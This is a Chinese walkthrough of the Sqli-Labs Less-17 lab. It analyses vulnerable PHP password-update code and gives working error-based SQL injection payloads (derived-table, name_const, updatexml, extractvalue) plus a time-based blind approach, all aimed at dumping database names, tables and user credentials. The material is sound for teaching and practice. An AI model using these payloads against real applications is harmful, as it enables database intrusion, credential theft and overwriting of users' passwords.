Sqli-Labs:Less17*

基于错误_POST_更新查询注入

Sqli-Labs:Less17*_第1张图片
slap1.jpg

我讨厌这个错误回显。

这一关有很多不同的解法,我们将依次分析(这篇看上去会很长)。
这关模拟的场景是登录后在修改密码界面注入而并非登录时注入。

0x01. PHP代码分析

按往常思路第一步测试uname=1&passwd=1时,没有登录失败信息,只返回了上述那张打脸的图。

紧接着尝试uname=1&passwd=1'uname=1&passwd=1",还是什么都没有发生。

Sqli-Labs:Less17*_第2张图片

这关的提示是更改密码,后台的Mysql语句应该涉及到update,于是看源码:

$uname = check_input($_POST['uname']);  
$passwd = $_POST['passwd'];

@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
    $row1 = $row['username'];   
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    mysql_query($update);
    
    if (mysql_error())
        print_r(mysql_error());

    echo '';    
}
else  
    echo '';

【的Markdown实在是有点垃圾,昨晚发现不支持html的标签比如这PHP又高亮了个啥,去掉语言标记高亮多了】

从源码中可以看到:接收到用户POST的unamepasswd后,首先根据uname查询数据库的usernamepassword,若uname存在则用passwd替换password,若不存在则显示slap1.jpg。这就是为什么之前试的几条都被无情地打了回来。

在用户名正确后,页面便能够返回Mysql错误信息,这就可以利用子查询注入在错误信息中返回想要的数据。

注意:报错的语句是update语句,查询用户名的语句已被执行并正确返回。

0x02. PHP语法

substr()函数

substr(string,start[,length])

参数 描述
string 必需,规定要返回其中一部分的字符串
start 必需,规定在字符串的何处开始
正数:在字符串的指定位置开始
负数:在从字符串结尾开始的指定位置开始
0:在字符串中的第一个字符处开始
length 可选,要返回的字符数。如果省略,则返回剩余文本
正数:从start参数所在的位置返回的长度
负数:从字符串末端返回的长度
get_magic_quotes_gpc()函数

get_magic_quotes_gpc()函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)值。返回0表示本功能关闭,返回1表示本功能打开。

magic_quotes_gpc打开时,所有的'(单引号)"(双引号)\(反斜杠)NULL(空字符)会自动转为含有反斜杠的溢出字符。

addslashes()与stripslashes()函数

addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串:

  • 单引号 '
  • 双引号 "
  • 反斜杠 \
  • 空字符 NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。

stripslashes(string)函数删除由addslashes()函数添加的反斜杠。

ctype_digit()函数

ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE,否则返回FALSE

mysql_real_escape_string()函数

mysql_real_escape_string(string,connection)

参数 描述
string 必需,规定要转义的字符串
connection 可选,规定MySQL连接。如果未规定,则使用上一个连接

mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE

本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query(),可使用本函数来预防数据库攻击。

intval()函数

intval(var[,base])

参数 描述
var 要转换成integer的数量值
base 转化所使用的进制

intval()函数获取变量的整数值。通过使用指定的进制base转换(默认是十进制),返回变量varinteger数值。intval()不能用于object,否则会产生E_NOTICE错误并返回1

成功时返回varinteger值,失败时返回0。空的array返回0,非空的array返回1,最大的值取决于操作系统。

如果base0,通过检测var的格式来决定使用的进制:

  • 如果字符串包括了0x0X的前缀,使用16进制hex;否则,
  • 如果字符串以0开始,使用8进制octal;否则,
  • 使用10进制decimal

0x03. 参数检查与过滤

注意:在用uanme查询之前,它用check_input()函数做了检查。

function check_input($value)
{
    if (!empty($value))
        $value = substr($value,0,15);

    if (get_magic_quotes_gpc())
        $value = stripslashes($value);

    if (!ctype_digit($value))
        $value = "'".mysql_real_escape_string($value)."'";
    else
        $value = intval($value);

    return $value;
}

1. 若uname非空,截取它的前15个字符。
2. 若php环境变量magic_quotes_gpc打开,去除转义的反斜杠\
3. 若uname字符串非数字,将其中特殊字符转义;为数字则将其转为数字类型。

所以我们几乎不可能在uname处注入,唯一的注入点在passwd处。

0x04. <1>子查询注入

当在一个聚合函数如count()函数后面,如果使用分组语句如group by就会把查询的一部分以错误的形式显示出来。

0x04-01. 选择哪种方式

子查询注入在Less5中即双注入,对于updatedeleteinsert通常都用结合or的逻辑判断。

在后台是select语句时我们能通过union联合查询CONCAT子查询(即Less5使用的双注入)获得错误信息中的数据。
而这里的后台是updatedelete/insert)语句,我们只能通过or逻辑判断派生表(在Less5中提到一句)来获得错误信息中的数据。

注意:上面这段是根据实际情况推断出的,但没有触及原理,也不完全正确。经过对比Less5的两种子查询和查找资料,得到了正确的结论。

使用CONCAT子查询时,错误信息提示子查询中应该只包含一个字段。

Sqli-Labs:Less17*_第3张图片

使用派生表时,错误信息能返回我们想要的数据。

Sqli-Labs:Less17*_第4张图片

在下一步之前,我们先理清子查询与派生表。

0x04-02. 子查询与派生表

子查询有两种:一是WHERE子句中的子查询;二是FROM子句中的子查询,这种子查询又被称为派生表

  • WHERE子句中:
SELECT column_name
FROM table_name
WHERE column_name IN (SELECT column_name
                      FROM table_name
                      WHERE condition)
  • FROM子句中:
SELECT column_name
FROM (SELECT column_name
      FROM table_name
      WHERE condition) derived_table_name
WHERE condition

我们来看Less5中提到的两种报错方式,第一种是CONCAT子查询,第二种是派生表

可以看出这两种实际上并无区别

只是在Less5select查询返回的字段数为3,足够在column_list中将count()concat()都包含进去,所以用CONCAT子查询更简单。

而在Less17update查询返回的字段数只有1!不足以使count()后接上concat()这样一个查询语句,这时候就只能通过派生表再将上一层子查询包裹起来,通过select 1 from (报错的CONCAT子查询) derived_table_name使注入查询的字段与update查询的字段数相等!

(严格来说,这里已经不能叫双注入而是三注入了,都称为子查询注入)

所以,子查询注入重点在于控制子查询使涉及字段数相等。select使用unionupdate/delete/insert使用or。而CONCAT子查询或是派生表只是手段。

0x04-03. 派生表注入过程

步骤1:数据库名security

uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+

Sqli-Labs:Less17*_第5张图片

步骤2:表名users

uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+

Sqli-Labs:Less17*_第6张图片

步骤3:字段名idusernamepassword

uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+

Sqli-Labs:Less17*_第7张图片

步骤4:数据

在注入数据时有个很有意思的现象。以前参考别人题解时都说:

因为这里只能查询一行,所以不能用group_concat(),可以修改limit的范围来遍历用户信息。

也并未深究,但今天看语法是完全没问题的。前面的语句都是:

select group_concat(column_name) from table_name where condition

而想要将数据一次性显示出来这样的语句是等价的:

select group_concat(concat_ws('-',id,username,password)) from users

经过很多次测试,很多时候相同的POST返回的错误信息不同:

Sqli-Labs:Less17*_第8张图片
Sqli-Labs:Less17*_第9张图片

而尝试等价语句时几乎不能返回第二种错误信息,于是猜测:

子查询注入经PHP查询MySQL会有两种报错,根据报错的时间先后返回第一条错误信息。

还是老老实实用limit依次得到数据好了:

uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+

Sqli-Labs:Less17*_第10张图片
0x04-04. delete与insert后台

DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e) FROM information_schema.tables),floor(rand()*2))x FROM information_schema.tables group by x)a)%23;

INSERT INTO users (username, password) VALUES ('admin',' or (SELECT 1 FROM(SELECT count(*),concat((SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e) FROM information_schema.tables),floor(rand()*2))x FROM information_schema.tables group by x)a)%23);

0x05. <2>name_const()注入

name_const(name,value)

返回给定值,当用来产生一个结果集合列时,name_const()促使该列使用给定名称。

使用范围受限,只适用于MySQL版本高于5.0.12,但又稍旧的版本。不适用于现在的5.7版本,会显示Incorrect arguments to NAME_CONST

获取数据库名:

' or (SELECT * FROM (SELECT name_const(database(),1),name_const(database(),1)) a) WHERE username='admin'--+

获取表名:

' or (SELECT * FROM (SELECT name_const((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),1),name_const((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),1)) a)--+

总的来说,对于updatedeleteinsert都有一个固定的结构:

... or (select * from (select name_const((select ...),1),name_const((select ...),1)) a) ...

0x06. <3>updatexml()注入

0x06-01. updatexml()函数

updatexml(xml_target,xpath_expr,new_xml)

参数 描述
xml_target 目标xml,形式类似于节点目录
xpath_expr xml的表达式(xpath格式)
new_xml 用来替换的xml

updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。

简单来说就是,用new_xmlxml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。

如:updatexml(asd, '//b', abc)
运行结果:abc
其中'//b'的斜杠表示不管b节点在哪一层都替换掉,而'/b'则是指在根目录下替换,此处xml_target的根目录节点是a

0x06-02. 注入原理

updatexml()xml_targetnew_xml参数随便设定一个数,这里主要是利用报错返回信息。利用updatexml()获取数据的固定payload是:

... or updatexml(1,concat('#',(select * from (select ...) a)),0) ...

0x06-03. 注入过程

步骤1:数据库名security

uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+

注意:因为xpath_expr是xpath格式,所以不是所有字符都可以作为concat()的连接符,如-@便不可以。

步骤2:表名users

uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+

注意:这里不要用concat_ws(),会有未知错误使错误回显显示不全。

步骤3:字段名idusernamepassword

uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+

image.png

步骤4:数据

uname=admin&passwd=' or updatexml(1,concat('#',(select concat(id,'#',username,'#',password) from users limit 0,1)),0)--+

结果报错:

不能先select表中的某些值,再update这个表(在同一语句中)。

解决方法:select出的结果作为派生表select一遍,这样就规避了错误。

注意:此问题只出现于MySQL,msSQL和Oracle不会出现此问题。

uname=admin&passwd=' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0)--+

注意:这里的错误信息只显示了一部分,所以没有一次性输出所有数据(可以做到),而使用limit偏移注入。

0x07. <4>extractvalue()注入

extractvalue(xml,value)

extractvalue()函数也是MySQL 5.1以后推出的对xml文档数据进行查询和修改的xpath函数。

extractvalue()xml参数随便设定一个数。利用extractvalue()获取数据的固定payload是:

... or extractvalue(1,concat('#',(select * from (select ....) a)))--+

注入过程同updatexml()注入

0x08. <5>Time型盲注

这关不可以Bool盲注,因为只要用户名正确回显就是flag.jpg
而Time盲注不依赖回显,所以可以Time盲注(速度很慢就是了)。

url = "http://localhost:8088/sqlilabs/Less-17/"
"uname" : "admin"
"passwd" : "0' or "+sqli_str+"-- "

注意:脚本会将所有password更新为0

0x09. 吐槽

终于写完了,3500字,断断续续写了三天多,写这篇简直是煎熬。

你可能感兴趣的:(Sqli-Labs:Less17*)